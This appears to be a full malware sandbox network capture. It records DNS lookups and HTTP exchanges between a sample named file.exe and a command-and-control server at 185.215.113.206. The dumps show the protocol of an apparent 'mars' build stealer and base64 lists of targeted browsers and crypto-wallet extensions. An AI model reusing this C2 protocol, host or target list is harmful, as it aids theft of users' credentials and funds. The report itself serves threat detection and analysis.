Nov 16, 2024 19:23:50.270292997 CET	1.1.1.1	192.168.2.5	0xafc	No error (0)	shed.dual-low.s-part-0016.t-0009.t-msedge.net	s-part-0016.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:50.270292997 CET	1.1.1.1	192.168.2.5	0xafc	No error (0)	s-part-0016.t-0009.t-msedge.net		13.107.246.44	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:50.271084070 CET	1.1.1.1	192.168.2.5	0x42db	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:50.271084070 CET	1.1.1.1	192.168.2.5	0x42db	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:53.932822943 CET	1.1.1.1	192.168.2.5	0x9e27	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:53.933492899 CET	1.1.1.1	192.168.2.5	0x9359	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:57.104734898 CET	1.1.1.1	192.168.2.5	0x2821	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:57.115982056 CET	1.1.1.1	192.168.2.5	0x97a5	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:24:01.411537886 CET	1.1.1.1	192.168.2.5	0x459c	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:01.411537886 CET	1.1.1.1	192.168.2.5	0x459c	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:04.798660994 CET	1.1.1.1	192.168.2.5	0xecee	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:04.798660994 CET	1.1.1.1	192.168.2.5	0xecee	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:04.799103022 CET	1.1.1.1	192.168.2.5	0x1c89	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 16, 2024 19:24:04.799953938 CET	1.1.1.1	192.168.2.5	0x9898	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:04.799953938 CET	1.1.1.1	192.168.2.5	0x9898	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:04.800204992 CET	1.1.1.1	192.168.2.5	0xffba	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 16, 2024 19:24:04.801373005 CET	1.1.1.1	192.168.2.5	0xf297	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:04.801373005 CET	1.1.1.1	192.168.2.5	0xf297	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:04.802341938 CET	1.1.1.1	192.168.2.5	0x6978	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 16, 2024 19:24:14.973440886 CET	1.1.1.1	192.168.2.5	0x78b6	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:14.973440886 CET	1.1.1.1	192.168.2.5	0x78b6	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:33.906977892 CET	1.1.1.1	192.168.2.5	0x788c	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:33.906977892 CET	1.1.1.1	192.168.2.5	0x788c	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:56.550368071 CET	1.1.1.1	192.168.2.5	0xfba1	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:56.550368071 CET	1.1.1.1	192.168.2.5	0xfba1	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:25:15.708420992 CET	1.1.1.1	192.168.2.5	0xb98	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:25:15.708420992 CET	1.1.1.1	192.168.2.5	0xb98	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:26:11.058391094 CET	1.1.1.1	192.168.2.5	0x8b84	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:26:11.058391094 CET	1.1.1.1	192.168.2.5	0x8b84	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:27:37.172111034 CET	1.1.1.1	192.168.2.5	0x11cc	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:27:37.172111034 CET	1.1.1.1	192.168.2.5	0x11cc	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:29:45.656033993 CET	1.1.1.1	192.168.2.5	0x7fb2	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:29:45.656033993 CET	1.1.1.1	192.168.2.5	0x7fb2	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	7340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:22:03.777086020 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 16, 2024 19:22:04.679394007 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 19:22:04.682549000 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEBFHJKJEBFCBFHDAEG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 37 39 33 35 37 33 30 46 41 30 32 37 34 30 37 32 35 36 30 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 2d 2d 0d 0a Data Ascii: ------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="hwid"FD7935730FA02740725608------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="build"mars------DAEBFHJKJEBFCBFHDAEG--
Nov 16, 2024 19:22:04.971463919 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 54 67 7a 4f 57 59 78 5a 6a 6b 7a 4d 6d 56 6a 59 54 49 33 4e 44 4e 6b 4e 44 4d 34 59 6d 4a 6a 4e 54 52 69 4d 32 51 33 4f 54 42 6a 4d 6d 4e 6c 59 54 51 35 4f 54 4a 6d 4f 44 4d 77 4d 47 4d 32 4d 54 4d 30 4d 57 56 6c 4d 54 67 30 4f 54 6b 34 4e 54 63 32 4d 7a 6c 69 59 6a 42 6a 4d 6a 68 6d 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OTgzOWYxZjkzMmVjYTI3NDNkNDM4YmJjNTRiM2Q3OTBjMmNlYTQ5OTJmODMwMGM2MTM0MWVlMTg0OTk4NTc2MzliYjBjMjhmfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 16, 2024 19:22:04.972495079 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJDGDBFCBKFHJKFHCBK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 2d 2d 0d 0a Data Ascii: ------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="message"browsers------GHJDGDBFCBKFHJKFHCBK--
Nov 16, 2024 19:22:05.251049995 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 16, 2024 19:22:05.251112938 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 16, 2024 19:22:05.252496004 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="message"plugins------ECAFHIIJJECGDHIEGDAK--
Nov 16, 2024 19:22:05.533817053 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 16, 2024 19:22:05.533859015 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 16, 2024 19:22:05.533895016 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 16, 2024 19:22:05.533929110 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 16, 2024 19:22:05.533965111 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 16, 2024 19:22:05.533997059 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 16, 2024 19:22:05.534051895 CET	1052	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Nov 16, 2024 19:22:05.535645008 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIDHCAAKECGCBFIJDB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="message"fplugins------DGHIDHCAAKECGCBFIJDB--
Nov 16, 2024 19:22:05.813126087 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: 